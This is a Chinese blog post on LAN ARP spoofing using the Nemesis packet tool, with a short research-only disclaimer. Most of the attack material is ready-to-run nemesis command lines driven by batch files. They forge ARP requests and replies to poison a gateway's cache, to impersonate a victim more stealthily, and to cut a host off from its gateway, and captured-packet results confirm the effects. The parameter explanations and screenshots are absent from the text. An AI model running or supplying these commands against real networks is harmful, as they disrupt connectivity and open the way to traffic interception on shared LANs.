局域网ARP欺骗:原理、实例、工具
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 、作者信息和本声明。否则将追究法律责任。http://techlife.blog.51cto.com/212583/38737 |
简介 本文介绍了一个基于Nemesis的LAN发包工具, 并演示了LAN上ARP攻击的几种情况. Nemesis本身就是一个基于命令行的开源发包程序, 它可以在Windows系统上运行, 但是它每次只能发送一个包, 所以需要编写DOS批处理程序才能让它连续发包, 这样才能进行有意义的攻击.
程序下载
攻击示例伪装成被攻击主机广播ARP请求 首先根据LAN的实际情况编辑conflict.bat文件, 本文中的示例假设LAN网段为222.88.88.*, 网关地址为222.88.88.1, 使用普通的SOHO路由器. 双击conflict.bat执行攻击. 其中的Nemesis命令如下:
nemesis arp -S 222.88.88.101 -h 00:34:67:88:2F:22 -D 222.88.88.1 -m 00:00:00:00:00:00 -P payload.txt -M FF:FF:FF:FF:FF:FF -H 00:34:67:88:2F:22 其中各参数的意义如下:
以下是攻击时使用Ethereal抓取的数据包,可见其中包括伪装的ARP请求以及网关的ARP应答.
![]() 伪装成被攻击者进行ARP应答
此攻击在i_am_the_other_guy.bat中实现, 其中的Nemesis命令如下:
nemesis arp -S 222.88.88.101 -h 00:44:44:AA:3B:4D -D 222.88.88.1 -m 00:14:78:89:7c:c4 -P payload.txt -r -M 00:14:78:89:7c:c4 -H 00:44:44:AA:3B:4D 其中各参数的意义如下:
以下是攻击时使用Ethereal抓取的数据包.此攻击的原理依然是刷新网关的ARP缓存,但是不会像上一种攻击那样在LAN中发广播,从而更具有隐蔽性.
![]() 伪装成网关进行ARP应答 此攻击在i_am_router.bat中实现, 其中的Nemesis命令如下:
nemesis arp -S 222.88.88.1 -h 00:55:55:55:55:55 -D 222.88.88.101 -m 00:4E:4C:81:7D:E2 -P payload.txt -r -M 00:4E:4C:81:7D:E2 -H 00:55:55:55:55:55 其中各参数的意义如下:
以下是攻击时使用Ethereal抓取的数据包.实际测试中,被攻击者的ARP缓存被立刻刷新,网关的MAC地址变成了一个不存在的地址,从而无法与网关通信.
免责声明 本文所提供的软件及其说明文档仅供研究之用, 由于使用本站的软件所造成的后果均由使用者自行承担.
接私活、赚美金
本文出自 “techlife” 博客,请务必保留此出处http://techlife.blog.51cto.com/212583/38737 本文出自 51CTO.COM技术博客 |








ypixunil
博客统计信息
热门文章
最新评论
友情链接